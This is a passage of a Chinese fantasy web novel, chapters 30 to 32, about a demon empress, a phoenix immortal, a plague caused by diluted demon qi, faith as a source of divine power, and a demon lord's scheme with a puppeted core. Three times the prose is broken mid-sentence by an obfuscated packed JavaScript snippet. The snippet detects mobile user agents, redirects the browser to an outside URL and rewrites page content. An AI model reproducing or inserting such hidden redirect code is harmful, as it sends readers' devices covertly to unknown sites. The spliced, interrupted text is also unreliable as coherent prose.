妖界最大湖,天倾泊之南,新建的入海口则杜绝了天倾泊漫溢的惨案再次发生。 天倾泊,太华山,逐云山脉,无数常人不可见的细雾自妖族身上蒸腾而起,化作柔和的白色缎带从四面八方涌向琉歌,银发妖皇一伸手,那些纯白的能量就柔和而自然的进入了她的体内,春雨一般,浸入妖皇干涸的经脉骨血之中。 丰盈,或者说,久违的饱腹感让琉歌舒展眉眼,发出了一点愉悦的喟叹,“不必如此,”她温声道:“接下来绣骨政庭的重建,还要靠各位出力。” “第四洲领主随我回太华山医馆,其余人到医馆领过丹药后,便可以离开太华山了。”琉歌瞥了危秋一眼,危秋意会,回身 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“师尊不带我一起御剑吗?”琉歌玩心大起,想看凤凰仙君的反应,谁知弥随音纠结了片刻,还是御剑而起,停在琉歌面前,冲她伸出了手。 姿态倒是落落大方,就是耳朵似乎更红了。 银发妖皇强行忍住笑意,欣然握着他的手一借力上了剑身,往太华山半山腰的医馆去了。 第四洲几位领主,元婴及以上的强者,还有两位金丹期的三阶炼药师,此时静默着齐聚医馆院外,等着妖皇发话。 片刻后,颂颂一掀门帘,利索的医馆院内一行礼,侧身示意众人可以进去了。 “妖皇尊上说,要找这次疫病的源头……”风弄堂落在最后,悄声问颂颂道:“颂颂姑娘,妖皇只叫我们几人来医馆,是已经找到答案了吗?还是说,妖皇怀疑我们就是源头?” 颂颂只是默默摇头,轻声催促他尽快进去吧,不要让琉歌尊上久等。 怀着惴惴不安的心,第四洲众人步入医馆门厅内站定,危天梭一眼就看到了病床上的危龛,他今日病情似乎有些反复,正神态恹恹的靠在弥随音怀里,任由他给自己把脉,昏昏欲睡。 “危龛……”危天梭顿时紧张起来,也顾不得别的了,往前快走了两步,想要仔细看看他,“妖皇尊上,他这是什么了?明明昨天的状态那么好,随心大人都允许我和危秋来探视了,为何今天又……” 她忍不住哽咽着要去触碰危龛的脸,琉歌正在一旁护法,闻言冷冷盯了她一眼,手腕一转,一道闪烁着金属般锋锐光泽的赤红细线就横在了她身前,“安静。” 危天梭不解,她有些着急的又叫了一声,“妖皇尊上!请让我看看危龛……求您了。” “冷静一些,若九品炼药师都救不下你的孩子,那只能说明你跟他此世无缘。”琉歌神情冰冷,吐出的话也就好听不到哪里去,危天梭闻言下意识怒而瞪她,还想说什么,话未出口,却被琉歌冷漠的一个眼神噎了回去。 “去过第五洲的人……上前来。”她扫视了一圈在场众人,见藏权云和危天梭目露不解,往前走了一步,忽然平地惊雷一般丢出了一道炸弹—— “你们可知,自己是何时成为魔气的容器的?” 30. 泣寒瘴 “尊上,这不可能!”藏权云和危天梭僵立原地尚未开口,倒是藏纵夏率先沉不住气,下意识冲动的上前两步将姐姐护到身后,辩驳道:“姐姐绝不可能和魔族有关系!” 琉歌不耐烦的蹙眉:“没有什么不可能的,染病幼崽身上最棘手的病症就是灵气紊乱造成的经脉内灵气乱流——这本就是魔气入体的典型症状。” “我说过,我来这里就是为了抓妖界叛徒的——藏纵夏,你不会以为我在第四洲忙前忙后,就是为了帮你们这群废物修个水库吧?” 藏纵夏呆了片刻,忽然一梗脖子又要开口——凭着几百年对弟弟的了解,藏权云眼皮狂跳,当即就要去捂他的嘴——还是迟了一步。 “您若是来找妖界叛徒的,比起我们,您身边的仙族难道不是最可疑——” 藏纵夏话未说完,只觉得一股巨力狠狠攥住了他的咽喉,将他凌空提起! 窗外艳阳高照,阳光明亮到几乎炫目,热浪阵阵,树影摇曳之间偶有飞鸟降落枝头,好奇的往室内一探头,当即被室内恐怖的气氛吓得振翅窜入云霄,徒留绿意深浓的树枝摇晃,在室内投下一片斑驳的墨绿阴影。 阴影在银发妖皇脸上摇晃,那双墨紫色的眼便也在光影间交错,明灭。 “谁给你的胆子,指责我的人?”琉歌此时反而不见怒意,面色彻底柔和了下来,若不是她指尖遥遥点着藏纵夏的咽喉,周身气质竟然堪称温婉慈善。 “慎言,小黑狼,我可不是郁柏那种任人挑衅的废物。” 完蛋了,这个蠢货。 藏权云“咚”的一声当场跪下,“尊上!权云问心无愧愿意配合一切调查,请恕藏纵夏失言!” “你本来就该配合我调查。” 见琉歌没有理会她的求情,冷汗顺着藏权云俯跪的姿势滑落鼻尖,砸在交叠的手背上,她心如鼓擂,脑子里却没乱,思绪反而清明一片。 “苍狼族自问情先皇时期便为妖界抛头颅,洒热血,家父家母更是先后为了妖界战死沙场,幼弟只是一时被伤心事冲昏了头脑,无心之言,还请妖皇恕罪!” “臣斗胆揣测,尊上其实已经打消了对臣和危天梭的怀疑,所以才会在这里,当着众人的面挑明魔气一事。” “继续。”琉歌终于露出了一点真切的笑意,挥手将悬于半空的藏纵夏扔出了医馆门厅,在阶下院内砸出了一深坑。 “臣自第五洲归来后,尊上与权云交流频繁,数次召臣独自前来商讨水库运河相关的具体事宜——那些大好时机尊上都没有对权云动手,想必是已经排除了权云勾连外族的嫌疑。” 藏权云没有再替藏纵夏说话,只是将自己的推测和盘托出。 琉歌于是侧目望向一直静默不语的弥随音。 他闲散惯了,妖界也不像人界对衣冠服饰有那么重的要求,于是并未束发,跟琉歌一样随意挽了个发髻,一头柔顺的漆黑墨发随意的散在肩背,阳光打在其上,竟好似银河般光华流转,熠熠生辉。 琉歌以小指勾起一缕,虚虚握在掌心,却看到了他低垂的眼,紧绷的唇和下颌。 “……把藏纵夏拖进来给凤凰仙君道歉。”琉歌挥挥手,松了口。 藏权云如蒙大赦,立刻应声退下,拽着藏纵夏的后领,给他半拖半拽的拎了进来。 “危天梭,你怎么说?” 藏家姐弟已经把路铺好了,危天梭直接摸着藏家姐弟过河。 她立刻拱手行礼,严肃道:“尊上,危龛是臣唯一的孩子,现在正因病情反复躺在这里……若臣真的是妖界叛徒,定不会让自己的血亲骨肉涉险至此!至于魔气容器一事,臣并不知情,还请尊上给予明示。” 妖皇威压犹在骨血里咆哮,藏纵夏颤抖着跪在原地深深叩首,再也不敢置喙一词。 琉歌示意藏权云上前来,黑发绿眸的少女快步两步上前,脊背挺拔,单膝跪在琉歌身侧。 银发妖皇指尖在她眉心一点,从藏权云的妖丹内抽出了一缕灵气,置于掌心让众人细看。 那是一缕冰灵气。 风弄堂率先看出了不对,“等等,这灵气怎么这么浑浊?” 他说着从自己妖丹内也抽出了一缕土灵气,给众人做对比,“这是我土系天灵根炼化的灵气——权云是冰系天灵根,灵气应该无限逼近至纯至净……绝不会如此浑浊。” 对比之下就很直观了,风弄堂手里的灵气宛如一阵纯粹的风,回转流畅,轻盈灵动,沁人心脾,但琉歌掌心的冰灵气却宛如掺杂了沙尘的风,浑浊迟滞。 “我和凤凰仙君已经探明,”琉歌神态冷峻,缓缓开口:“这灵气里掺杂并不是普通的浊气杂质,是导致这次疫病爆发的感染源——魔尊魔气。” “不知是谁所为,第五洲的魔尊魔气被人稀释后混入了灵气内,因为浓度低到几乎无法分辨,所以显得和妖界灵气里混杂的些微杂质无异。” 银发妖皇从空间里取出一双薄皮质黑手套,精神力犹如锋利精准的手术刀,小心仔细的将杂质剥离了出来,掌心一握,再张开时,溢散的杂质已经变成了一颗米粒大小的黑灰色魔珠。 “竟然……竟然真的是魔尊魔气?!”这下纵是藏权云和风弄堂也不能保持冷静了,危天梭更是几乎要被这恐怖的消息给砸昏了头,她踉跄后退半步,危秋立刻攥住了她的手,“是我……是我把魔气传给危龛的?” 危天梭死死反握住危秋,勉强撑住身子,茫然呢喃道:“魔气一但入体,便如跗骨之蛆般极难去除,对未来隐患无穷!那岂不是说,危龛……我的危龛……是我害了他?” 弥随音有些不忍的望向濒临崩溃的危天梭,出声安慰道:“各位不必担心,这毕竟是稀释过无数次的魔气,我和琉歌已经找出拔除魔气的方法了。” 琉歌莞尔一笑,没有制止他安慰领主们,只是配合的点点头,“这次多亏了凤凰仙君,有九品炼药师在这里坐镇,魔气危机才能解决的如此轻松。” 藏纵夏在后方怔然失神,忽然第一次为自己的莽撞感到后悔——凤凰仙君跟妖皇来到第四洲后,看护幼崽,修补屏障,治水疏水,对低阶炼药师也从不藏私,倾囊相授……自己怎能口不择言至此呢? “好了,听我说完——” 九品炼药师四个字给了众人莫大的安全感,传说他们有活死人肉白骨之能。 见骚乱渐渐平息,琉歌便继续将自己这几天的成果告知众人。“我准备将这种疫病命名为——泣寒瘴,传染源就是被污染的灵气。” 妖族境内魔气肆虐,银发妖皇心情其实并不像面上那么轻松,只是不想在自己的子民面前表现出压力来,毕竟就算表现出来了也无济于事,反倒像是无能狂怒了。 太难看,琉歌想。 自己是作为指引方向的妖皇而诞生的,注定了只有我可怜他们的份,没有他们可怜我的份。 “因为混杂在灵气里,所以只要是接触了第五洲灵气的妖族,就有将魔尊魔气吸入体内的概率。”琉歌略加思索,将此次疫病的原委娓娓道来。 “而由于伪装得当,魔气入体附着在妖族经脉内,就像淤堵的杂质——除了仙族可以做到五感通明,六根清净,天人无尘,每个妖族或多或少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310243|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有一些经脉淤堵……没人会过多在意的,魔气也就借此流遍全身,使你们每次动用灵气之时,都有一部分魔气跟着散入四周。” “所以,藏权云第一次在我面前出手时,我就发现了她灵气不对。”琉歌与藏权云对上视线,微微颔首。 藏权云恍然记起,那是地震那次,她眼看着大坝就要坍塌,立刻以冰封大坝将其加固——原来那时妖皇尊上就看出蹊跷了? “这魔气寒冷时陷入潜伏,潜伏期极长且不易察觉,等到了温暖之处才会爆发,因此你们在寒冷的第五洲时一切如常,但一回到尚处盛夏的第四洲,就导致了一大波幼崽中招。”琉歌将魔珠抛进弥随音掌心,辟邪除魔的凤凰火灼灼,魔珠顿时化为一阵青烟消散。 “原来如此……”风弄堂陷入深思,低声喃喃,“幼崽会无意识的全力吸收周围的天地灵气,因此天赋越高的幼崽反而吸入的魔气就越多,而危龛是你的孩子,和你的灵气亲和,吸收效率又高——因此症状最重!” “对,”琉歌点了点藏权云和危天梭,“而且,第五洲主体豆绿山脉,高寒,冰灵气极其充裕——你们两个都是冰系,尤其是藏权云,冰系天灵根,我记得你在第五洲突破了一个小境界,对吧?” 藏权云忽觉汗毛倒竖,毛骨悚然。 “对……臣,臣从出窍初期,突破到了中期……”藏权云只觉得喉咙干涩的厉害,几乎不能吐出完整的字句,“魔气……臣也不知道究竟吸入了多少魔气……” “是臣被力量迷花了眼,”藏权云现在回想真是懊恼不已,那时的自己简直是蠢货! 第五洲魔气肆虐,自己怎么会选择在第五洲突破呢? “臣只想到了第五洲冰灵气充裕,完全忘记了魔气就在身侧……是臣之错。” “不必自责,魔气入体就是会影响神智,放大欲望,况且你是冰系天灵根,别人或多或少都会抵抗寒气,你只会敞开了怀抱接纳,吸收。”琉歌摇摇头将藏权云扶起,“所以你越是卖力的帮第五洲抵御魔气,反而越是会被魔气影响。” “是想出此计的人太过歹毒。” 风弄堂有些急迫的望向琉歌和弥随音,“妖皇尊上,凤凰仙君,这泣寒瘴究竟该怎么解?若是吸收过第五洲灵气的人都身负魔气,是潜在的传染源……我们是不是该通报青丘神庭,让青丘早做准备?” “我已经和青丘说明了第四洲的情况,不必担心,未来几天可能会有一些青丘的人来,你就将这副三品丹药的丹方交给他们。” 琉歌将一纸字迹官方的丹方递给风弄堂,显然出自弥随音之手。 “这副丹方可以治疗症状未显和症状较轻的患者,可以让风乱旗去炼药了。” 风领主显然松了口气,双手接过,低声道了谢。 危天梭眼巴巴的凑上去看那副丹方,“妖皇尊上,那危龛这样症状严重的呢……一定还有救的,对吗?” 弥随音轻轻颔首,“危龛的情况比较麻烦,却并不是无解——危领主可知百日细叶这味药材?” “在下知晓。”危天梭虽不是炼药师,但修炼之人了解药材是基础,能保命的,妖族又寿命绵长,认得的药材比人族是只多不少。 “百日细叶多为三品,四品,叶似细草细窄韧长,手掌高,生于高山雪原,不算少见罕见的药材,花开是呈现细密的球簇状,因花只开百日,开完即死而得名。” “百日细叶的花蕊可以入四品清神丹,想去处深入骨髓的魔气,清神丹必不可少。” 琉歌环视一圈众人,微笑道:“各位,准备前往第五洲吧。” 31. 神族的力量循环 青丘帝宫外,一只周身雪白,头顶棕色巨大鹿角的白鹿,正匆匆向妖皇帝宫狂奔而来—— “白水边,白水边!”后面有人叫他,白鹿化为人形,回头催促道:“快点啊,我住得远还不会飞就算了,你个翼族怎么也这么慢?” 一只羽毛靓丽的乌鸫从后面追上了白水边,落地化为人形,两人身着相似的黑紫配色的官服——妖界崇尚的黑紫双色,就是取自初代妖皇,万妖之祖,轩辕问情尊上的发色和瞳色。 “我的天姥姥啊,你看看现在是什么时候吧!哪有好鸟现在还醒着的?当然,夜鸮除外……” 乌鸫族最年轻的长老,舒云一边束发一边和白水边抱怨到,最前面的鸮族族长上半身依然匀速前进,闻言脖子一拧回头瞪了他们一眼,一双大眼在夜色里亮的吓人,两人连忙拱手告罪。 就这几句话的功夫,帝宫门口又落下了几个御剑赶来的同僚,互相打了个招呼。 帝宫侍卫见怪不怪,看了腰牌后就将这群手忙脚乱整理衣冠发带的朝臣放了进去。 “哎……妖皇不是已经诞生了吗?我还以为这种急诏入宫再不会有了呢,再来几次要猝死了都……”舒云在阶下整理完了仪容,左看右看没有不妥了,又肘了肘白水边:“你今天怎么话这么少?” 半天没等到白水边的回话,舒云眉头一皱,终于咂摸出一点不对劲来了。 “等等,白水边……你知道神庭要讲什么?” 白水边掌心隐隐有些黏腻的冷汗,闻言一点头,又摇摇头:“我不知道,我只知道自己要讲什么。” 舒云心脏骤然狂跳起来——白水边身为躬行司主事,掌管躬行司之下的炼药师公会——但凡需要他开口的,没一件是好解决的事情。 帝宫正殿,春在野已经早早到了,他眼底疲惫的青黑色更重了,比起一直嚷着要猝死了的舒云,春在野才像是那个随时会过劳死的工作狂——要是让人界那些没有灵根的凡人知道修士也会累死,不知道还有几个愿意修仙。 话虽如此,但他的神情却堪称亢奋,怀里抱着一堆涂满了各种符箓,阵法,演算过程的草纸,两个小厮垂首侍立于其身后,怀里也是各一沓厚厚演算纸。 郁柏尊上已经在圣坛验明正身,上次那遮蔽视线的白色长帘于是被撤下了,众朝臣悄默无声的鱼贯而入,各归其位。 惊轶姗姗来迟,衣冠整整的冲郁柏妖皇一行礼,站到了众臣最前面。 “要说的两件事既然都和你有关系,春在野,你来跟他们说明吧。” 郁柏幻视一圈,见除了尚在第一洲的常妄,政庭神庭其余人皆到齐了,便神情淡淡的冲春在野一点下巴,示意他可以开始了。 春在野攥着演算纸的指尖正不受控制的抖着,他深吸一口气,勉强压下了激荡的心绪,开口道:“诸位,众所周知,妖皇的力量来自于妖界天地。而众所周知,天地间的灵气能量是固定的,在五界一刻不停的循环着。” 他抽出一张演算纸,上面赫然是当下最流行的学说——地脉和修士之间的能量平衡学说。 “我们曾广泛的相信,妖族吸收地脉内溢散的能量修炼,若妖修陨落,那些储存在妖丹的灵气能量则溢散而出,回归地脉,泽被一方,由此构成妖界内部的循环。” “因此,换言之,我们一直以为,妖皇抽调使用的地脉能量越多,则供给妖族修炼的灵气就越少。可妖族生存离不开灵气,尤其是幼崽,对灵气变化极为敏感,灵气浓度下降或纯净度降低都会导致一系列并发症……比如,大量死胎和畸形儿诞生。” 惊轶悄悄瞥过高台,见郁柏的神情不变,只是倦怠而冷漠的听着。 台下,春在野终于结束铺垫,难掩激动的心情,语气越发高昂! “但我想,到了诸位这个等级,多多少少都会对这套循环理论产生疑惑——那些在地脉流转间损耗的灵气,或者被各种原因污染的灵气,若无人填补,岂不是会变成一个越来越大的窟窿,最后导致妖界灵气浓度和纯净度下降吗?” “自问情时代,我们学宫在研究的问题有二,其一,就是这套理论的漏洞,其二,就是如何在不抽调地脉能量的情况下,使妖皇更强大。” 见终于来到了重点,舒云等朝臣俱是神情一振! “如今,这个研究终于迎来了结果——这两个问题,出乎我的意料,他们的答案居然是一致的!”春在野从袖子掏出一卷轴,唰的展开,展示给朝下众臣看。 只见卷轴上赫然是一个精妙绝伦,层层嵌套的巨型灵气循环符阵! “经过问情先皇和郁柏尊上的配合,验证,我们学宫发现,妖皇,或者说神族的力量来源有二,一是抽调天地灵气,而二则是……” “信仰。” “信仰?”风弄堂有些茫然的重复,“收集信仰?这……还请尊上明示,在下该怎么做?” 太华山上,琉歌有些不满于风弄堂的愚钝,冷冷“啧”了一声。 弥随音安抚了拍了拍她的手背,思索片刻,给风弄堂指了个方向,“传功颂德,弘扬事迹,雕像金身,祈愿香火……就是想办法告诉更多人,让更多人相信琉歌,这样她就可以得到信仰,强大自身。” “妖皇的力量来源不是天地灵气吗……信仰当真可以让神族强大?”风弄堂在心底直犯嘀咕,搞懂了一个问题,下一个问题又接踵而来,“妖皇尊上,这收集信仰一事上可有什么避讳?还是说百无禁忌?” 琉歌摇摇头,“在不影响第四洲百姓生活的情况下,宣传越夸张越好,传播越快越好——你领头,多数人就会模仿。这件事,还有泣寒瘴丹方之事,都交给你了,有拿不准的地方就在素梅上联系我。” 素梅,人妖两界最方便,使用最广泛的通信工具,取自驿寄梅花,鱼传尺素之意,可传音可传信,只要留下了想联络方的精神力烙印即可,唯一的缺点是需要面对面才能留下精神力烙印。 风弄堂领命退下。 藏权云和危天梭早已在一边等候多时了, 此时见琉歌招手,两人不敢迟疑立刻上前来。 “第四洲发生了这么些大事,青丘妖都定要派人前来调查一段时间了,”琉歌冲风弄堂离开的方向太太下巴,“你们是跟着风弄堂在第四洲处理事务,还是跟着我前往第五洲找百日细叶?” “尊上,在下愿意追随您前往第五洲,在下目前属于妖皇神庭赤琉璃近卫军,是最早前往第五洲的一批高阶妖修,对第五洲比较了解,而且在下是冰系天灵根,在第五洲定能排上用场!” 藏权云没有异议,对妖族来说,妖皇是妖界的化身,或者说,妖界天道和地脉的具象化。 妖皇和妖界对他们而言就是一个概念的一体两面,效忠妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“神座,地脉,妖皇和百姓之间的能量循环,才是妖皇强大自身的主要力量来源——至于抽调天地灵气,那似乎只是危机时刻神族的紧急强化手段。” “原来如此……”惊轶低声喃喃,他脑子转得飞快,和春在野对视一眼——两人历经两朝,合作已久,眼神交错间立刻明白了对方在想什么。 “若春长老所言不虚,臣以为,尊上现在需要积极出手,让四方百姓尽早传颂您的美名,发自内心的信仰您——如此,凭借信仰之力,您强大之日,妖界强大之日,指日可待矣!” 惊轶上前一步跨出,俯身行礼,拱手建议道,“尊上,第五洲魔尊残余魔气对屏障的腐蚀日渐严重,值此危亡之际,臣建议您尽早前往第五洲,以妖皇之威一扫魔气,救第五洲百姓于危亡之间!” “如此,您的威望和美名定会在妖界九州四海之间广为流传!” 可能神子神女之间确有一些玄妙的联系,在琉歌恢复成年形态的那一日,郁柏的力量积攒也足够了,闭关结束,恢复了成年形态。 此时,他膝头横着一柄重剑,脊背挺拔端坐高台,带着介于少年和青年之间的瘦削纤细,也带着少年独有的意气风发。 头顶,紫玉发冠束发,露出了诞生起一直被他刻意隐藏的右眼——那时一只银色的眼睛,一只和人皇像极了的银色眼睛。 他神情肃穆的扫过台下一众朝臣,最后只是点了两位长老。 “惊轶,春在野。”郁柏的一双眼灼亮的吓人,像一把磨砺已久,终于迎来了自己初次出鞘的宝剑,语气森然而兴奋—— “准备随我前往第五洲。” 32. 阵眼晚枫 “风领主,请等一下。”风弄堂刚出医馆,就被弥随音叫住了。 “随心大人?”风弄堂疑惑,恭恭敬敬的一行礼,问道:“怎么了,是妖皇大人还有什么吩咐吗?” “……风领主直接唤我弥随音就好。”凤凰仙君有些尴尬,从袖中掏出一份纸质细腻,花纹素雅的卷轴递给风弄堂,“当时琉歌和神庭关系尴尬,不得已隐姓埋名低调行事,现在已经没必要了。” “我想着,你手里那份丹方写的匆忙,用来应付青丘可能比较艰难——这份更妥帖一些,我想得到的细节都在上面了。”弥随音笑着示意风弄堂打开看看。 正常人都能看出妖皇对凤凰仙君的重视,风弄堂丝毫不敢怠慢,双手接过连声道谢:“还是弥仙君想得周到——真是言简意赅,通俗易懂,没想到大人不仅实力强悍,心思也细腻……嗯?最后署名怎么是……神女大人?” 第二份丹方明显细致的多,将幼崽期和成长期的用药量做了区分,不同药材,不同的处理手法可能对药效产生的影响,还有更精细的,如每种药材的确切重量——基本上需要注意的事宜都标注的明明白白了。 就连风弄堂这种,没有木火双灵根而被炼药师拒之门外的门外汉,一眼过去都能基本看懂。 “这……弥大人可是有什么顾虑?”风弄堂蹙眉,“仙妖两界素来友好,您又是象征着除魔辟邪的凤凰神兽,这份丹方为您辛苦得出,属您的名字属实天经地义……妖皇尊上那边是这个意思啊?” 风弄堂忽然记起了还在医馆里跪着的藏纵夏,顿感惴惴不安,小心试探道:“若非是因为上午藏纵夏所言,让大人不愉?” “风领主不必担忧,和藏纵夏无关。” 弥随音摆手,示意风弄堂不必如此拘谨,“我自混沌灵气诞生,到如今已经经历了十万多个春秋,藏纵夏在我眼里还是幼崽呢,幼崽一时口快,我并不计较,况且他也是为了妖界和手足。” “若非琉歌,在下也不会来到第四洲,因此这份丹方算在琉歌头上没什么不妥,而且,多一个人用了这份药方,就有多一个人受了神女大人的恩惠,琉歌那边得到的信仰就更多一些。” ……什么诡异的强盗逻辑。 风弄堂有心吐槽又惧于琉歌的淫威,悻悻作罢,在弥随音保证自己去跟琉歌讲这件事之后,也就带着丹方卷轴下去了。 一条溪流潺潺,穿山而过,缓缓流过魔界暗红色的天和暗红色的地,混黄的水下垫着红黄相间的土,贫瘠,混杂着嶙峋碎石。 魔界第九重天,魔尊魔庭内。 黎狩百无聊赖的揣着手,凭栏而立,一双没有瞳孔和眼白的全红血瞳,正望着下方掩在魔瘴中的魔界其余几重天出神。 魔障充斥着魔界的角角落落,是有毒的充满阴邪怨气的魔气,就像是灵气中的杂质,需要时时警惕,不能大量吸收,吸收过多会损神智,变成没有理智的魔兽。 “问情……问情……”他低声喃喃自语着,难得的生出一些疑惑,回想起琼寰大会上,春在野声嘶力竭的控诉。 春在野所言不虚,那也并不是什么罕为人知的历史。 在他还不是魔尊时,曾被刑微雨下死手追杀过一次,不得已逃入黄泉,昏迷中飘到了妖族领地,被当时刚刚带领妖族独立的问情所救。 “刑微雨死后不过数月,魔界内扯她的旗帜,依然尊她为主的声音就已经几不可闻了,为何妖界新皇上位,问情亦陨落三年有余,还有人胆敢冒着得罪神族的风险,也要为她出声?” 魔尊身后静寂的跪了一片,随行伺候的魔侍众多,却安静的近乎恐怖。 “魔尊大人,改造已经完成了。” 忽然,一道轻缓规律的脚步声响起,现任魔尊第一神使,魔偃族血亭君,缓缓而来,行至黎狩身后,熟稔的跪下,恭敬而谨慎的,将一双掌大小的金属盒举过头顶,奉到黎狩身前。 “血亭君,你素来聪明,你来说。” 简直是阎王点卯。 血亭君低眉垂眼思忖片刻,忽然轻笑,“魔界没人怀念刑微雨,自然是因为尊上威严远胜于刑微雨,百姓臣服。” “若当下生活如意,谁会去怀古?怀古者必然是因为对当下不满——妖界时隔三年依然在怀念问情先皇,正说明了现任妖皇的无能——此乃天助大人夺取妖界。” 黎狩闻言,顿时大笑,“还是你最会说话!” “行了,看看你的成果吧,”黎狩指尖一勾,金属盒便落入他的掌心,忽然,在打开之前,魔尊揶揄的轻笑着瞟了一眼血亭君,“不过……问情那样的人,谁不怀念呢?” 一股寒意窜上血亭君脊骨,冷汗几乎是瞬间浸透了他的后背,“臣失言,请尊上责罚。” 黎狩和问情……?血亭君思绪转得飞快,已经在着手准备仔细调查一下,看看当年在妖界究竟发生了什么。 “罢了,罢了,当年打妖界,毕竟是我一手策划的。现在想起,只是有些经久难解的疑惑。”黎狩摩挲着下巴,似乎是在真心实意的思索着:“当年那么完备的计划,怎么就没有把问情变成魔界的人呢……” 为何问情宁愿自爆妖丹,也不来魔界当座上宾?这个问题他想了三年,还是想不明白,本来都已经快忘记了,今日琼寰大会见着春在野,倒是又想起问情来了。 想不明白就干脆不想了,黎狩垂眼,将手中金属盒打开,姿态居然一反常态的有几分忌惮和慎重。 盒中是一枚裂纹密布的魔核,裂纹之深刻令人咋舌。碎成这样还能勉强维持形状完整,没有化为齑粉消散,全是仰仗魔核上微弱到几不可见的一道道神纹。 魔核乃是魔修核心所在,就像人修仙修的丹田,妖修的妖丹一样,魔核碎则修为尽散,危及性命。 “臣现在有完全的把握,无论仙尊要这枚魔核做什么,就算是他有能力打造出一个新的刑微雨,您也可以凭借这份傀儡丝,完全掌控魔核。”来到自己的拿手领域,血亭君终于松了口气。 “不影响这枚魔核上残留的生机?仙尊可会发现傀儡丝?” “不影响,”血亭君恭顺答道:“仙尊除非把魔核碾碎,不然绝不可能发现傀儡丝——只有您发话,这傀儡丝才可解。” 黎狩突兀的嗤笑一声,不知道是满意还是不满意,也不知道是在笑谁。 “很好,给梅若君送上去吧,血亭君,就你去。” 几天后,妖界第五洲豆绿高原最高峰,豆绿峰山脚,一行人正速度缓慢的沿着山脊向上,似乎并不着急赶路,在山脚下徘徊了好几圈,像是在找什么东西。 “尊上,百日细叶——我看到了!”天上,以妖形游隼在天上逡巡的危天梭猛地一个俯冲,向东南方而去,藏权云踏雪而起,得到琉歌首肯后追着危天梭远去。 弥随音没有跟着兴奋的两人跑远,略微向琉歌靠了半步,侧身扯开斗篷给她挡风雪,轻声问道:“琉歌,怎么了?” 琉歌神情比豆绿高原的冰雪更冷淡,“师尊,郁柏到了,他带着春在野和惊轶。” 虽然白水边早有预告,说郁柏尊上也要来豆绿高原处理魔尊魔气一事,但琉歌就是很不想在这里看到郁柏。 凤凰仙君始终记得,琉歌跟他说过,春在野和神庭里的一些人会取她的血进行研究,此时看着琉歌蹙眉不语的模样顿时大为心疼,“别怕,我比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310245|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们俩加起来都强。” 说话间,弥随音已经在摩挲着扣在拇指上的玉扳指了。 他顺手的武器,枪,弓,剑,都在这枚扳指里……哦,剑不在,那灌注了剑意,铭刻了阵法的长剑,现在作为自保的武器之一被琉歌那在手上。 琉歌闻言乐了,随着今生的相处,她终于发现凤凰的脑回路很有意思,总和她落不到一个点上,但就是听起来很舒心。 “师尊,惊轶和春在野跟着郁柏,是因为想当妖皇神使……你呢?你为何跟着我?”她眉眼弯弯,笑得单纯,语焉不详,“您对我……一点意思也没有吗?” 弥随音大窘,低声呵斥道:“琉歌!” 有些话越是想忘记越是会在脑子里循环播放,弥随音窘迫极了,暗中唾弃自己的无耻,上一世,琉歌以君臣之礼待他,他却对自己的君主生出了效忠以外的心思。 这一世更是变本加厉,琉歌受他的教导,叫他一声师尊……自己更不可以将前世对琉歌的心思投射到她身上了。 她是未来,是妖界的明日,更是你一手教导出来的明君。 弥随音惶惑而谴责的反思自己——自己圣贤书读了十万年,怎么反倒读出佞臣奸臣之心了? 我绝不能在她,在我未来的君主身上,宣泄我的……不臣之心。 “既然百日细叶已经找到了,我们接下来……?”弥随音抿唇垂眸,生硬的转化了话题。 谁知琉歌眼珠一转,从空间里摸出一副护耳,趁他没有反应过来,垫脚给弥随音带上了。 “豆绿高原风雪摧人,把师尊的耳朵都冻红了。” 她笑容揶揄,没给凤凰仙君继续说话的时间,回身一指身后绵延的晚枫丘陵:“魔尊魔气自最高峰豆绿而下,直接覆盖了整个晚枫丘陵地区,污染最严重处,正是该赤狐族镇守的洲府晚枫。” “既然要调查,那就从阵眼查起好了。” “师尊,我们去晚枫。” 晚枫不远处,一处夹在丘陵之间狭窄平底上,几处炊烟在漫天素白中升起。 “咚咚——” 春在野一惊,从沉浸在演算中的状态里脱离,刚想喊“请进”,突然想起了什么,手忙脚乱的把几张演算纸藏了起来,缓了缓神,这才扬声道,“请进。” 惊轶于是携着一身寒气推门入内,一眼就看到了案几上的政务,和散落一旁的演算纸。 “春长老,辛苦你了。”他笑着拱拱手,“若不是你在后面帮忙,我和郁柏尊上还不知道要忙多久呢。” “惊轶大人言重了,”春在野疲惫的搓了搓脸,将卷轴和演算纸都推到身后。 “在下修为低微,也不会领兵布阵,跟郁柏尊上出去也是拖后腿,还不如处理一些力所能及的事情——若不是您当年像问情尊上推荐了在下,臣绝是没有今日的。” 惊轶摇头,“春长老虽是我举荐的,但您当年已一己之力研究出了奴隶印记的破解之法,辅助问情尊上确定了妖修的基础功法,自己提出又补全了灵气循环理论……” “在下目光短浅,当年问情选你为第三神使时,还曾质疑过问情先皇的决定……”惊轶苦笑一声,难得的流露出一点对那个时代的怀念之色,“时间已证明了你的价值和能量,也请你啊,别妄自菲薄啦。” 